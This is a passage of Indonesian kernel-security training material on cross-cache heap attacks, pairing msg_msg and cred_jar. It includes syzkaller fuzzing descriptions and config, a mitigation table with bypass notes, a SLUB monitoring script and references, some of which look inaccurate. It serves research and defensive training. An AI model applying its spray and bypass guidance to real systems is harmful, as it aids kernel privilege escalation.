# Syzlang: Cross-cache fuzzing scenario # Target: kmalloc-192 region (msg_msg + cred_jar overlap) # File: sys/linux/cross_cache_fuzz.txt # ── Resource definitions ────────────────────────────────────────── resource msq[int32] # msg queue operations msgget(key proc[0x1000, 4], flags flags[msgget_flags]) msq msgsnd(msqid msq, msgp ptr[in, msg_msg_buf], msgsz len[msgp], msgflg flags[msgsnd_flags]) msgrcv(msqid msq, msgp ptr[out, msg_msg_buf], msgsz len[msgp], msgtyp int64, msgflg flags[msgrcv_flags]) msgctl$IPC_RMID(msqid msq, cmd const[IPC_RMID], buf const[0]) msgctl$IPC_STAT(msqid msq, cmd const[IPC_STAT], buf ptr[out, msqid_ds]) # ── Structs ─────────────────────────────────────────────────────── # msg_msg body — kita kontrol ukuran untuk targeting kmalloc bucket tertentu msg_msg_buf { mtype int64[1:4] mtext array[int8, 160] # 160 bytes → kmalloc-192 total (+ 32 header) } msg_msg_buf_256 { mtype int64[1:4] mtext array[int8, 224] # 224 bytes → kmalloc-256 } msqid_ds { msg_perm ipc64_perm msg_stime int64 msg_rtime int64 msg_ctime int64 msg_cbytes int64 msg_qnum int64 msg_qbytes int64 msg_lspid int32 msg_lrpid int32 pad array[int8, 8] } ipc64_perm { key int32 uid uid gid gid cuid uid cgid gid mode int32 seq int16 pad array[int8, 6] } msgget_flags = IPC_CREAT, IPC_EXCL, 0666 msgsnd_flags = IPC_NOWAIT, 0 msgrcv_flags = IPC_NOWAIT, MSG_NOERROR, MSG_COPY, 0 # ── Programs: Cross-cache scenario templates ────────────────────── # Program 1: Spray + interleaved free (trigger slab reuse) # # syz_cross_cache_spray (custom syscall wrapper untuk fuzzing): # Kombinasi msgsnd banyak → msgrcv burst → fork # # Dalam syzkaller: kita biarkan fuzzer yang memilih urutan, # tapi kita define program template sebagai "hint" # Syscall pairs yang menarik untuk cross-cache: # msgsnd + fork : msg_msg vs cred_jar # msgsnd + pipe : msg_msg vs pipe_buffer # add_key + msgsnd: user_key_payload vs msg_msg # socketpair + fork: sk_buff vs cred
{
"target": "linux/amd64",
"http": "0.0.0.0:56741",
"workdir": "./workdir-crosscache",
"kernel_obj": "./linux-6.19",
"kernel_src": "./linux-6.19",
"image": "./rootfs.img",
"sshkey": "./id_rsa",
"syzkaller": ".",
"procs": 4,
"type": "qemu",
"vm": {
"count": 2,
"kernel": "./arch/x86/boot/bzImage",
"cpu": 4,
"mem": 4096,
"cmdline": "nokaslr nopti slub_debug=FZP slab_nomerge console=ttyS0"
},
/* Target syscall groups untuk cross-cache fuzzing */
"enable_syscalls": [
"msgget", "msgsnd", "msgrcv", "msgctl",
"pipe", "pipe2", "write", "read", "splice",
"fork", "clone", "execve",
"add_key", "keyctl",
"socket", "socketpair", "sendmsg", "recvmsg",
"mmap", "mprotect", "madvise",
"io_uring_setup", "io_uring_enter", "io_uring_register",
"shmget", "shmat", "shmdt"
],
"suppressions": [
"WARNING.*unlink_anon_vmas" /* suppress known prior syzbot entry */
]
}
07 Deteksi & Mitigasi
| Mitigasi | Kernel Version | Efektivitas | Cara Bypass (Research) |
|---|---|---|---|
CONFIG_SLAB_FREELIST_RANDOM |
4.7+ | Mengurangi prediktabilitas urutan objek di freelist | Masih bisa bruteforce atau gunakan non-freelist info leak |
CONFIG_SLAB_FREELIST_HARDENED |
4.14+ | XOR encoding freelist pointer (mencegah freelist overwrite) | Butuh info leak untuk decode — tapi tidak mencegah cross-cache |
CONFIG_RANDOM_KMALLOC_CACHES |
6.3+ | Multiple kmalloc caches (16 instance random per ukuran) | Probabilitas cross-cache menurun, tapi masih mungkin dengan banyak spray |
SLAB_VIRTUAL (VMALLOC per-slab) |
6.10+ (WIP) | Setiap slab memiliki virtual address space unik → isolasi page | Masih dalam pengembangan; overhead tinggi |
| Linux Memory Tagging (MTE/EMTE) | ARM64 kernel 5.10+ | Hardware tag pada setiap alokasi — UAF terdeteksi | x86_64 tidak punya hardware equivalent (LAM/LAE masih limited) |
slab_nomerge boot param |
Semua | Mencegah merge caches berbeda → isolasi lebih baik | Cross-cache dari buddy allocator tetap bisa terjadi |
Deteksi Runtime
#!/bin/bash
# Monitor cross-cache anomali via SLUB debug interface
# Mount debugfs jika belum
mount -t debugfs none /sys/kernel/debug 2>/dev/null
# Aktifkan SLUB debug trace untuk cache target
echo 1 > /sys/kernel/debug/tracing/events/kmem/kmalloc/enable
echo 1 > /sys/kernel/debug/tracing/events/kmem/kfree/enable
# Monitor free slab events
cat /sys/kernel/debug/tracing/trace_pipe | grep -E \
"(cred_jar|kmalloc-192|msg_msg)" | while read line; do
echo "[SLUB] $line"
# Alert jika cred_jar mengalokasi dari page yang baru dibebaskan
# oleh cache lain dalam waktu singkat
done
# Cek statistik slab
cat /proc/slabinfo | awk 'NR==1 || /cred_jar|kmalloc-192/'
# Watch untuk anomali: slab dengan inuse drop drastis lalu naik cepat
watch -n0.5 "grep 'kmalloc-192\|cred_jar' /proc/slabinfo"
Sejak kernel 6.3, CONFIG_RANDOM_KMALLOC_CACHES membuat 16 instance
dari setiap kmalloc cache (e.g. 16 × "kmalloc-192"). Alokasi dari userspace syscall berbeda
bisa masuk ke instance berbeda, sangat mempersulit cross-cache attack. Untuk bypass,
attacker membutuhkan banyak lebih banyak spray (16× lebih banyak) dan
primitive yang lebih presisi.
08 Referensi & Bacaan Lanjut
| Judul / Resource | Relevansi |
|---|---|
| "DVKA: Cache-based Attacks on Linux Kernel Heap" — Jann Horn (Google Project Zero) | Foundational cross-cache theory |
| CVE-2022-27666 — IPSec cross-cache UAF (ptr32 module) | Real-world cross-cache dalam crypto subsystem |
| CVE-2023-3269 "StackRot" — maple tree UAF → cross-cache | Kernel 6.1–6.4, mmap_lock race → cred overwrite |
| "ret2cache: Breaking Kernel ASLR via Cache-based Cross-Privilege Side Channels" | Teknik leak via timing cache |
Linux mm/slub.c — __free_slab(), new_slab(), get_partial() |
Source code allocator — baca langsung |
| Phrack #70 — "Attacking the Core: Kernel Exploiting Notes" | Klasik, masih relevan untuk primitives |
syzkaller docs — syzlang.md |
Menulis descriptions untuk fuzzing |
| "msg_msg: Kernel heap exploitation without CVE" — willsroot | msg_msg sebagai spray/read primitive |
Semua teknik di dokumen ini dijalankan dalam environment penelitian terisolasi (QEMU VM, kernel debug build). Untuk curriculum Blue Dragon Security — digunakan dalam pelatihan researcher dan law enforcement Indonesia. Gunakan hanya pada sistem yang Anda miliki atau dengan izin eksplisit tertulis.